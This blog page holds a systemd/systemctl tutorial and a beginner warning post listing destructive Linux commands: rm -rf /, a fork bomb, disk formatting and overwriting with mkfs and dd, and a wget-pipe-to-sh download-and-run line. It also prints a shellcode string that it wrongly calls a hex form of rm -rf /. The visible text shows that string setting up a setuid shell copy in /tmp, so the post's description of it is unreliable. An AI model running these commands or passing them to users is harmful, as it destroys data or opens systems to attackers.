Showing posts with label linux commands. Show all posts
Showing posts with label linux commands. Show all posts

Saturday, April 2, 2016

How to Manage Systemd Services on Linux

How to Manage Systemd Services
on Linux



Composants systemd

Systemd is now used by default in most Linux distributions, from Fedora and Red Hat to Ubuntu, Debian, openSUSE, and Arch. The systemctl command allows you to get information about systemd's status and control running services.

Despite the controversy, this at least introduces some standardization across Linux distributions. The same commands will allow you to manage services in the same way on any Linux distribution using systemd.

Note: To modify your system configuration on Linux distribution like Ubuntu that uses sudo, you'll need to prefix the commands here with sudo. On other Linux distributions, you'll need to become the root user with the su command first.

What's Systemd ?

systemd is a system and service manager for Linux, compatible with SysV and LSB init scripts.
systemd

  • Provides aggressive parallelization capabilities
  • Uses socket and D-Bus activation for starting services
  • Offers on-demand starting of daemons
  • Implements transactional dependency-based service control logic
  • Tracks processes using Linux cgroups
  • Supports snapshotting and restoring
  • Maintains mount and automount points

  • Check If Your Linux System Is Using Systemd

    If you're not sure whether your Linux distribution is using systemd, open a Terminal window and run the following command. This shows you the version number of systemd on your Linux system, if it does have systemd installed:

    systemd --version
    OR

    systemctl --version

    Output :

    systemd 215 +PAM +AUDIT +SELINUX +IMA +SYSVINIT +LIBCRYPTSETUP +GCRYPT +ACL +XZ -SECCOMP -APPARMOR

    Systemctl

    systemctl is the main tool used to introspect and control the state of the "systemd" system and service manager. You can use systemctl for instance to enable/disable services permanently or only for the current session.See man systemctl for more details.

    Tip:
    • You can use all of the following systemctl commands with the
      -H user@host switch to control a systemd instance on a remote machine. This will use SSH to connect to the remote systemd instance.
    • systemadm is the official graphical frontend for systemctl. It is provided by systemd-ui from the official repositories or by systemd-ui-gitAUR from the AUR for the development version.
    • Plasma users can install systemd-kcm as a graphical fronted for systemctl. After installing the module will be added under System administration.

    Analyze the Boot Process

    The systemd-analyze command allows you to view information about your boot process, such as how long it took and which services (and other processes) added the most time to the boot process.

    To view information about the startup process in general, run this command:

    systemd-analyze

    To view how long each process took to start, run this command:

    systemd-analyze blame

    Analyzing the system state

    Show system status using:

    systemctl status

    Using units

    Systemd uses "units", which can be services (.service), mount points (.mount), devices (.device), or sockets (.socket). The same systemctl command manages all these types of units.

    List running units:

    systemctl
    or: systemctl list-units

    List failed units:

    systemctl --failed

    To view all available unit files on your system:

    The available unit files can be seen in /usr/lib/systemd/system/ and /etc/systemd/system/ (the latter takes precedence). List installed unit files with:

    systemctl list-unit-files

    Managing services with systemd

    To view a list of enabled and disabled services, you use the same systemctl command as above, but tell it to only list services:

    systemctl list-unit-files --type=service

    List all running services:

    systemctl

    Note:

    When using systemctl, you generally have to specify the complete name of the unit file, including its suffix, for example sshd.socket. There are however a few short forms when specifying the unit in the following systemctl commands:

    • If you do not specify the suffix, systemctl will assume .service. For example, netctl and netctl.service are equivalent.
    • Mount points will automatically be translated into the appropriate .mount unit. For example, specifying /home is equivalent to home.mount.
    • Similar to mount points, devices are automatically translated into the appropriate .device unit, therefore specifying /dev/sda2 is equivalent to dev-sda2.device.

    Activates the service named "example1" immediately:

    systemctl start example1

    Deactivates the service "example1" immediately:

    systemctl stop example1

    Restarts the service "example1" immediately:

    systemctl restart example1

    Shows status of the service "example1":

    systemctl status example1

    Enables "example1" to be started on bootup:

    systemctl enable example1

    Disables "example1" to not start during bootup:

    systemctl disable example1

    Power management using Systemd

    polkit is necessary for power management as an unprivileged user. If you are in a local systemd-logind user session and no other session is active, the following commands will work without root privileges. If not (for example, because another user is logged into a tty), systemd will automatically ask you for the root password.


    Shut down and reboot the system:

    systemctl reboot

    Shut down and power-off the system:

    systemctl poweroff

    Suspend the system:

    systemctl suspend

    Put the system into hibernation:

    systemctl hibernate

    Put the system into hybrid-sleep state (or suspend-to-both):

    systemctl hybrid-sleep



    Friday, October 30, 2015

    9 Deadly Commands !! You Should Not Run on Linux

    9 Deadly Commands !!

    You Should Not Run on Linux



    We know that Linux command line is more powerful and flexible one . Yes , Linux command line is awesome , because it offers users , full control over their Linux box/device... At the same time, the power and flexibility of Linux command line can also destroy our system ,if we use it improperly.
    (i.e) Running commands in terminal without proper knowledge about them may break your system.
    (Linux guide :getting start with Linux)
    In general ,Linux newbies often do this kind of mistakes ,due to their out of box curiosity , enormous in trust and lots of    on Linux.
    So , here i listed some deadly Linux commands which you should not run on your Linux box .
    Note that many of these commands will only be dangerous if they're prefixed with sudo on Ubuntu - they won't work otherwise.
    On other Linux distributions, most commands must be run as root.
    You May Also Like To Read 58 cool Linux Hacks!

        rm -rf / [ This will Delete Everything! ]

    The command rm -rf / will wipe every thing with in your root directory("/"). That means this command will erase your entire disk and all your mounted devices also..(if you run it as root). The part of
    • rm command in Linux is used to delete files.
    • rm -r command deletes the folder recursively, even the empty folder.
    • rm -f command removes 'Read only File' without asking(FORCE DELETION OF FILE).
    • rm -rf / : Force deletion of everything in root directory.
    • rm -rf * : Force deletion of everything in current directory/working directory.
    • rm -rf . : Force deletion of current folder and sub folders.

       Hidden version of rm -rf command [Alternte version of rm -rf /]

    The command shown below is just a hex version of rm -rf / command.
    char esp[] __attribute__ ((section(".text"))) /* e.s.p
    release */
    = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
    "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
    "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
    "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
    "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
    "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
    "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
    "cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;";
    
    this is same as first command (rm -rf /).. it will also, just wipe your entire root directory.

       :(){ :|: & };: [ Fork Bomb ]

    This is actually a bash function which creates new copies of itself .
    This function also called as fork bomb; The process continually replicates itself, and its copies continually replicate themselves, quickly taking up all your CPU time and memory. This can cause your computer to freeze. It's basically a denial-of-service attack.
    You may also Like to read ( How to Kill Linux Processes/Unresponsive Applications Using 'kill & pkill' Command )
    :(){ :|: & };:

    operation of this function:

    This function operates by defining a function called ':', which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.
    warning:This function even no need root permissions.

       mkfs.ext4 /dev/sda [ Formats a Hard Drive ]

    The above command will format the block 'sda' and you would surely be knowing that after execution of the above command your Block (Hard Disk Drive) would be new, BRAND NEW! Without any data, leaving your system into unrecoverable stage.
    mkfs.ext4 /dev/sda (it will format your entire hard disk[sda] into ext4 format)
    
    mkfs.ext4 /dev/sda1 (this will format your sda1[first partition of your hard disk])
    
    (wiping sda1 is similar to wiping C drive on windows.)
    
    This command can come in other forms as well - mkfs.ext3 /dev/sdb2 would format the second partition on the second hard drive with the ext3 file system.

    NOTE:

    Beware of running commands directly on hard disk devices that begin with /dev/sd.

       command > /dev/sda

    The command > /dev/sda line works similarly - it runs a command and sends the output of that command directly to your first hard drive, writing the data directly to the hard disk drive and damaging your file system.
    command - Run a command (can be any command.)
    
    > - Send the output of the command to the following location.
    
    /dev/sda - Write the output of the command directly to the hard disk device.
    

       mv ~ /dev/null [ Moves Your Home Directory to a Black Hole ]

    /dev/null is another special location - moving something to /dev/null is the same thing as destroying it. Think of /dev/null as a black hole. Essentially, mv ~ /dev/null sends all your personal files into a black hole.
    mv - Move the following file or directory to another location.
    
    ~ - Represents your entire home folder.
    
    /dev/null - Move your home folder to /dev/null, destroying all your files and deleting the original copies.
    

       dd if=/dev/random of=/dev/sda [Writes Junk Onto a Hard Drive]

    This command will wipe out the block sda and write random junk data to the block. Of-course! Your system would be left at inconsistent and unrecoverable stage.
    dd - Perform low-level copying from one location to another.
    
    if=/dev/random - Use /dev/random (random data) as the input - you may also see locations such as /dev/zero (zeros).
    
    of=/dev/sda - Output to the first hard disk, replacing its file system with random garbage data.
    

       wget http://malicious_source -O- | sh [Downloads and Runs a Script]

    The above line downloads a script from the web and sends it to sh,which executes the contents of the script. This can be dangerous if you're not sure what the script is or if you don't trust its source - don't run untrusted scripts.
    wget - Downloads a file. (You may also see curl in place of wget.)
    
    http://example.com/something - Download the file from this location.
    
    | - Pipe (send) the output of the wget command (the file you downloaded) directly to another command.
    
    sh - Send the file to the sh command, which executes it if it's a bash script.
    

       > file [Flush out your file]

    This command is used to flush the content of file. If the above command is executed with a typo or ignorance like "> xt.conf" will write the configuration file or any other system or configuration file.
    > file
    

    One more command .. sudo chmod -R 777 /

    This is one more command which will create undesirable things..
    sudo chmod -R 777 / 

    This command will give everyone to do anything (read, write, execute) on your system ..
    You may also like to read: Have More Fun with Windows vs Linux vs Mac


    for more posts Click to see more interesting posts on OpensourceInside